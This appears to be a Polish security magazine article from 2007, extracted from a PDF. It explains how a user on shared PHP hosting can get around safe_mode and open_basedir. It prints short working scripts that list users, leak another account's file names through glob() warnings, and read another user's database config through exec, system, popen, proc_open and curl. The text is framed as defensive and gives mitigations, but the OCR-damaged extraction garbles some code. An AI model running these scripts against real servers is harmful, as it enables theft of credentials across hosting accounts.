Bezpieczeństwo kont PHP.pdf

(998 KB) Pobierz
11307385 UNPDF
Bezpieczeństwo kont PHP
Obrona
Paweł Maziarz
pojedynczego konta?
stopień trudności
PHP zawładnęło Internetem. Niekomercyjny rynek dynamicznych
serwisów internetowych bazuje na tym języku skryptowym, tak
jak część witryn komercyjnych. Firmy hostingowe prześcigają
się w przekonywaniu klientów, proponując do wyboru PHP4
lub PHP5, alternatywne serwery baz danych, korzystniejszą
pojemność konta. Czy nie zapominają o bezpieczeństwie
PHP, którzy chcąc nam ułatwić życie, pi-
szą wszelkiej maści, bardziej lub mniej
zaawansowane, płatne lub nie, skrypty PHP
- fora internetowe, księgi gości, systemy CRM,
CMS etc. Czy można im zaufać bezgranicznie?
Oczywiście, że nie, jednak niestety w większo-
ści przypadków takim ślepym zaufaniem są ob-
darzani, bo jaki (normalny) webmaster przeglą-
dać będzie setki, czy nawet tysiące linii skryp-
tu PHP, skoro sama ich instalacja może zabrać
całkiem niemało czasu?
Te dwa zagadnienia będą dla nas istotne w
niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczeństwa internetowych serwi-
sów WWW opartych o skryptowy język PHP.
Na czym polega główny problem?
Prawie wszystkie serwisy PHP są w jakiś
sposób moderowane i w jakiś sposób składu-
ją dane. Najczęściej informacje o użytkowni-
kach i ich hasłach, artykułach, produktach et
cetera składowane są w bazach danych SQL.
Skrypt chcąc się połączyć z ową bazą musi
znać do niej co najmniej login i hasło, co za-
pisywane jest w odpowiednim pliku konigura-
cyjnym (przeważnie conig.php). Często ha-
sło do bazy jest identyczne z hasłem do kon-
ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minając o tym, że również może pokrywać się
z innymi hasłami konkretnego użytkownika na
innych serwerach czy też w bankach (któż spa-
mięta tak wiele haseł?), zatem ich bezpieczeń-
stwo trzeba przyjąć za kluczowe.
Sytuacja na serwerze
Korzystając z niewielkiego uproszcze-
nia, możemy przyjąć dwa możliwe warian-
ty uruchamiania skryptów PHP – PHP uży-
te jako moduł demona WWW (mod_php), co
Z artykułu dowiesz się...
• jakie są możliwości obejścia zabezpieczeń
PHP
• na jakie funkcje PHP należy zwrócić szczegól-
ną uwagę w skryptach z różnych źródeł
Co powinieneś wiedzieć...
• powinieneś znać podstawy programowania w
języku PHP
• powinieneś mieć pojęcie o systemach Linux/
Unix
2
hakin9 Nr 3/2007
www.hakin9.org
Z drugiej strony spotykamy programistów
11307385.020.png 11307385.021.png 11307385.022.png
Bezpieczieńczstwo kont PHP
oznacza, że właścicielem każde-
go procesu jest ten sam użytkownik,
z którego sprzętu uruchamiana jest
usługa WWW (najczęściej apache,
nobody, www albo www-data) lub
PHP uruchamiane jako skrypt CGI/
FastCGI, co powoduje, że właścicie-
lem procesu jest właściciel konkretne-
go skryptu. W pierwszym przypadku,
po umieszczeniu skryptu na serwerze
należy mu dać prawa do odczytu dla
wszystkich (np. chmod 644 plik.php),
widać zatem, że system operacyjny
nie będzie miał nic przeciw, by kto-
kolwiek inny niż właściciel przeczy-
tał ten plik. W przypadku drugim nato-
miast nikt poza właścicielem skryptu
nie musi mieć prawa do jego odczytu,
w praktyce jednak rzadko spotyka się
tak samolubnych użytkowników, a z
drugiej strony i tak pozostają jeszcze
prywatne pliki użytkownika, które nie
są skryptami PHP, a więc by mogły
być serwowane przez usługę WWW,
muszą mieć one zatem prawa dostę-
pu jak w przypadku pierwszym.
Dyrektywy safe_mode
safe_mode – włącz lub wyłącz safe_mode
safe _ mode _ gid – sprawdzaj grupę pliku zamiast jego właściciela
safe _ mode _ include _ dir – pomiń sprawdzanie użytkownika/grupy dla plików
z podanych katalogów
safe _ mode _ exec _ dir – ogranicz funkcje uruchamiające programy jak exec()
do uruchamiania programów z podanego katalogu
safe _ mode _ allowed _ env _ vars – zezwól użytkownikowi na zmianę wartości
zmiennych zaczynających się podanym preiksem
safe _ mode _ protected _ env _ vars – zabroń użytkownikowi zmiany wartości
zmiennych zaczynających się podanym preiksem
O autorze
Autor jest właścicielem i jednocześnie jednym z głównych programistów irmy tworzą-
cej między innymi oprogramowanie PHP. Od kilku lat współpracuje również z irmami
hostingowymi w charakterze administratora. Kontakt z autorem: pawel.maziarz@in-
tersim.pl.
Nasz mały teatrzyk
W celu uwidocznienia problemu, zor-
ganizujemy niewielki teatrzyk. Głów-
ne role w naszym przedstawieniu bę-
dą odgrywać użytkownicy:
Listing 1. fragment pliku /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/false
mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false
www -data – użytkownik, z którego
uruchamiany jest demon WWW
(Apache2),
Rysunek 1. Zrzut ekranu przedstawiający wykorzystanie błędu w użyciu funkcji include
www.hakin9.org
hakin9 Nr 3/2007
3
 
11307385.001.png 11307385.002.png 11307385.003.png
 
Obrona
mieciu – dr Mieczysław, uczci-
wy pracownik jednej z wyższych
uczelni, posiadający na serwerze
forum dostępne tylko dla swoich
współpracowników, na którym
szczegółowo omawiają oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkówki,
haker – student doktora Mieczy-
sława, który pozyskał konto na
tym samym serwerze, co jego
wykładowca, w celu umożliwie-
nia sobie uczestnictwa (choćby
biernego) w dyskusjach tej eli-
tarnej grupy. Listing 1 pokazuje
część pliku /etc/passwd dotyczą-
cą tych trzech użytkowników.
jest każdorazowe sprawdzanie, czy
właściciel otwieranego pliku bądź
katalogu jest właścicielem skryptu,
z którego zasób jest otwierany. Je-
żeli nie jest, safe _ mode zakomuni-
kuje ostrzeżenie jak powyżej i ope-
racja zakończy się niepowodzeniem.
safe _ mode posiada też kilka bardziej
wyspecjalizowanych dyrektyw, które
przedstawione są w ramce.
open_basedir
Dyrektywa open _ basedir ogra-
nicza dostęp do plików i katalo-
gów do podanej ścieżki. Jeżeli plik
bądź katalog znajduje się poza nią,
Funkcje uruchamiające programy
exec – uruchom program, zapisz wyjście oraz kod powrotu do zmiennych, zwróć
ostatnią linijkę wyjścia
passthru – uruchom program, wyświetl jego wyjście, zapisz kod powrotu
system – uruchom program, wyświetl wyjście, zapisz kod powrotu, zwróć ostatnią
linijkę wyjścia
shell _ exec (lub ` polecenie `) - uruchom program, zwróć całe wyjście
popen – uruchom program, stwórz do niego potok, zwróć wskaźnik do plik (taki jak
przy funkcji fopen)
proc _ open – podobnie jak popen, ale z dwukierunkową komunikacją
Przedstawienie
czas zacząć
Haker wie, że forum doktora Mieczy-
sława znajduje się na serwerze, na
którym właśnie sam pozyskał konto.
Wie, że korzysta on z bazy danych.
Zdaje sobie też sprawę z tego, że by
osiągnąć swój cel musi zdobyć do-
stęp do tej bazy. Wie, że login i hasło
do niej znajdują się na koncie dok-
tora w jednym z plików koniguracyj-
nych. Nie wie jednak pod jakim logi-
nem widnieje wykładowca w syste-
mie ani tego gdzie poszukiwania ha-
seł zacząć. Wie natomiast, że jeże-
li zobaczy listę użytkowników, od ra-
zu pozna login należący do doktora.
Pisze więc prosty skrypt includepas-
swd.php, który wyświetli przeglądar-
ce zawartość pliku /etc/passwd – Li-
sting 2.
Po wpisaniu adresu skryptu w
przeglądarce, czeka go jednak z
pewnością widok jednego z komu-
nikatów, które przedstawia Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa safe _ mode , za dru-
gi open _ basedir , które są powszech-
nie używane.
Lista funkcji POSIX :
posix_access – sprawdź dostęp do pliku
posix _ ctermid – podaj ścieżkę kontrolującego terminala
posix _ get _ last _ error -- podaj numer błędu ostatniej funkcji POSIX
posix _ getcwd – podaj bieżący katalog
posix _ getegid – podaj efektywny ID bieżącego procesu
posix _ geteuid – podaj efektywny ID użytkownika bieżącego procesu
posix _ getgid – podaj prawdziwy ID grupy bieżącego procesu
posix _ getgrgid – pobierz informacje na temat grupy o podanym ID
posix _ getgrnam – pobierz informacje na temat grupy o podanej nazwie
posix _ getgroups – podaj listę grup bieżącego procesu
posix _ getlogin – podaj nazwę użytkownika
posix _ getpgid – podaj grupę procesu podanego jako argument
posix _ getpgrp – podaj identyikator grupy bieżącego procesu
posix _ getpid – podaj aktualny PID procesu
posix _ getppid – podaj PID procesu-rodzica
posix _ getpwnam – podaj informacje o użytkowniku o podanej nazwie
posix _ getpwuid – podaj informacje o użytkowniku o podanym ID
posix _ getrlimit – podaj informacje o limitach systemowych
posix _ getsid – podaj SID procesu
posix _ getuid – podaj prawdziwy ID użytkownika bieżącego procesu
posix _ isatty – sprawdź, czy identyikator pliku jest interaktywnym terminalem
posix _ kill – wyślij sygnał do procesu
posix _ mkifo – stwórz potok ifo
posix _ mknod – stwórz specjalne urządzenie
posix _ setegid – ustaw efektywną grupę bieżącego procesu
posix _ seteuid – ustaw efektywnego użytkownika procesu
posix _ setgid – ustaw grupę bieżącego procesu
posix _ setpgid – ustaw grupę group id for job control
posix _ setsid – ustaw bieżący proces liderem sesji
posix _ setuid – ustaw UID bieżącego procesu
posix _ strerror – podaj tekst błędu o podanym jako argument numerze
posix _ times – podaj wyznaczniki czasowe procesu
posix _ ttyname – podaj nazwę urządzenia terminala
posix _ uname – podaj informacje o systemie
safe_mode
Dyrektywa safe _ mode jest jedną z
prób rozwiązania problemu dzielenia
jednego systemu przez wielu użyt-
kowników. Ma na celu ograniczenie
dostępu do zasobów danego użyt-
kownika wyłącznie dla ich właścicie-
la. Najbardziej charakterystycznym
efektem uruchomienia tej dyrektywy,
4
hakin9 Nr 3/2007
www.hakin9.org
11307385.004.png
 
11307385.005.png
 
11307385.006.png
 
11307385.007.png 11307385.008.png
 
11307385.009.png
 
Bezpieczieńczstwo kont PHP
Listing 2. skrypt includepasswd.php wyświetlający plik /etc/passwd
wyświetlany jest odpowiedni komu-
nikat i operacja kończy się niepo-
wodzeniem. Najczęściej każdy użyt-
kownik posiada na serwerze odpo-
wiednio zdeiniowaną ścieżkę w dy-
rektywie open_basedir.
Można więc poczynić wnioski, że
na serwerze, na którym te dyrektywy
albo chociaż open _ basedir są zde-
iniowane, użytkownik ma dostęp do
plików tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopuśćmy zatem okoliczność, że na
serwerze ustawione są odpowiednio
obie restrykcje i dajmy hakerowi się
wykazać.
Haker posługuje się więc alterna-
tywną metodę odczytania pliku /etc/
passws , tworząc tym samym skrypt
posixcatpasswd.php przedstawiony
na Listingu 3.
Po wpisaniu adresu tego skryp-
tu, w przeglądarce będzie się suk-
cesywnie, linijka po linijce, ukazywać
zawartość pliku /etc/passwd , który
zawiera informacje o użytkownikach.
Efekt taki haker uzyskał dzięki funkcji
posix_getpwuid, zwracającej infor-
macje o użytkowniku, którego iden-
tyikator podany zostanie jako argu-
ment. Wykorzystując pętle for z war-
tościami z zakresu 0-65535, haker
jest pewien, że zostanie wyświetlona
lista wszystkich użytkowników z uni-
katowymi identyikatorami UID.
Funkcja posix _ getpwuid należy
do rodziny funkcji POSIX, które prze-
ważnie są wkompilowane domyślnie
w pakiety binarne z PHP. By skom-
pilować PHP bez modułu POSIX, wy-
starczy przed kompilacją PHP dodać
do linii polecenia conigure przełącz-
nik – disable-posix . Trzeba dodać, że
funkcje POSIX nie biorą pod uwagę
żadnych testów wynikających z dy-
rektyw open_basedir bądź safe_mo-
de, więc jedyne zabezpieczenie przed
nimi to wyłączenie podczas kompila-
cji, bądź dodanie ich do dyrektywy
disabled _ functions z php.ini.
W ramce obok przedstawione są
wszystkie funkcje POSIX (nie są one
dostępne na platformie Windows).
Napastnik tym sposobem roz-
poznał od razu, że login dokto-
ra Mieczysława to mieciu i wie już,
<? php
header ( "Content-type: text/plain" ) ;
include ( "/etc/passwd" ) ;
?>
Listing 3. skrypt posixcatpasswd.php
<?php
header ( "Content-type: text/plain" ) ;
for ( $uid = 0; $uid < = 65535; $uid++) {
if (($pw = posix_getpwuid($uid))) {
echo implode( ":" , $pw) . "\n" ;
lush();
}
}
? >
Listing 4. globtest.php
<? php
ini_set ( "display_errors" , 1 ) ;
error_reporting ( E_ALL ) ;
$iles = glob ( „/home/users/mieciu/*” ) ;
?>
Listing 5. skrypt globshowsomeiles.php
<? php
ini_set ( "display_errors" , 1 ) ;
error_reporting ( E_ALL ) ;
$dir = ( isset ( $_GET [ 'd' ])) ? $_GET [ 'd' ] : "" ;
for ( $i = 65; $i < = 90; $i++) {
glob( "$dir/" . strtolower(chr($i)) . "*" );
glob( "$dir/" . chr($i) . "*" );
}
? >
Rysunek 2. Zrzut ekranu przedstawiający działanie funkcji eval
www.hakin9.org
hakin9 Nr 3/2007
5
 
11307385.010.png 11307385.011.png 11307385.012.png 11307385.013.png
 
Obrona
że jego katalogiem domowym jest
/home/users/mieciu/. Nie może jed-
nak w tradycyjny sposób (czyli za po-
mocą funkcji opendir/readdir) pobrać
zawartości katalogu domowego dok-
tora, ponieważ nie pozwoli na to dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, która zwraca listę
plików pasujących do wyrażenia, ja-
kie się jej poda, np. konstrukcja $ob-
razki_jpg = glob(„img/*.jpg”) ; zwró-
ci w tablicy nazwy wszystkich plików
z rozszerzeniem .jpg w katalogu img.
Ale czy wcześniej omówione zabez-
pieczenia PHP nie powstrzymają jej
w razie próby penetracji katalogu in-
nego użytkownika? Przeciwnie! Zro-
bią to. I dadzą nam to wyraźnie do zro-
zumienia. Bardzo wyraźnie. Spójrzmy
na Listing 4 przedstawiający działanie
tej funkcji.
Pierwsze dwie linijki skryp-
tu globtest.php występują w celu
upewnienia się, że PHP wyświetli
nam wszystkie błędy i ostrzeżenia.
Ostatnia natomiast próbuje zapisać
w zmiennej $iles tablicę z nazwami
plików i katalogów użytkownika mie-
ciu, jednak zamiast tego wyświetli ta-
kie ostrzeżenie:
Po wejściu hakera na stronę http:/
/serwer/globshowsomeiles.php?d=/
home/users/mieciu , w przeglądarce
wyświetlą się mu pierwsze pliki za-
czynające się od małej lub dużej lite-
ry(Listing 21)
Jak widać, dzięki funkcji glob
można poznać ścieżki prywatnych
plików użytkownika, na przykład ma-
teriałów czy zdjęć, do których ad-
res znają tylko nieliczne uprawnione
przez niego osoby. Idąc tym tropem,
Listing 6. skrypt runlola.php
<? php
header ( "Content-type: text/plain" ) ;
ini_set ( "display_errors" , 1 ) ;
error_reporting ( E_ALL ) ;
$ile = "/home/users/mieciu/public_html/forum/cfg.php" ;
echo "exec() \n " ;
if ( exec ( "cat $ile " , $ret )) {
$buf = join ( $ret , " \n " ) ;
echo " $buf \n " ;
}
echo "system() \n " ;
$ret = system ( "cat $ile " ) ;
echo " $ret \n " ;
echo "shell_exec() \n " ;
$ret = shell_exec ( "cat $ile " ) ;
echo $ret ;
echo "passthru() \n " ;
passthru ( "cp $ile /tmp/.passthrutest" ) ;
readile ( "/tmp/.passthrutest" ) ;
unlink ( "/tmp/.passthrutest" ) ;
echo "popen() \n " ;
$fp = popen ( "cat $ile " , "r" ) ;
while (( $buf = fgets ( $fp , 4096 )))
echo " $buf " ;
pclose ( $fp ) ;
Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on
line 5
if ( function_exists ( "proc_open" )) {
echo "proc_open \n " ;
$descriptorspec = array (
0 = > array ( "pipe" , "r" ) ,
1 = > array ( "pipe" , "w" ) ,
2 = > array ( "pipe" , "w" )) ;
$po = proc_open ( "cat $ile " , $descriptorspec , $pipes ) ;
while (( $buf = fgets ( $pipes [ 1 ] , 4096 )))
echo $buf ;
proc_close ( $po ) ;
}
?>
Dzięki użyciu gwiazdki, funkcja
glob dopasowała pierwszy katalog
u doktora Mieczysława, następnie
zajął się nim open_basedir spraw-
dzając, czy jest on dostępny dla ha-
kera, a jako, że oczywiście nie jest,
PHP odpowiednio to zakomuniko-
wał, podając w ostrzeżeniu nazwę
pliku. Idąc tym tropem, można ła-
two zgadnąć, że zapis glob(„/home/
users/mieciu/a*”) ; wyświetli ostrze-
żenie o braku dostępu do pierwsze-
go pliku rozpoczynającego się lite-
rą a, o ile taki będzie istniał. Haker
tworzy wtedy szybko skrypt glob-
showsomeiles.php przedstawiony
na Listingu 5.
Listing 7. skrypt curlread.php
<? php
if ( function_exists ( "curl_init" )) {
$ile = "/home/users/mieciu/public_html/forum/cfg.php" ;
$ci = curil_init ( "ile:// $ile " ) ;
echo curl_exec ( $ci ) ;
}
else
echo "brak rozszerzenia curl." ;
?>
6
hakin9 Nr 3/2007
www.hakin9.org
11307385.014.png
 
11307385.015.png
 
11307385.016.png
 
11307385.017.png 11307385.018.png
 
11307385.019.png
 
Zgłoś jeśli naruszono regulamin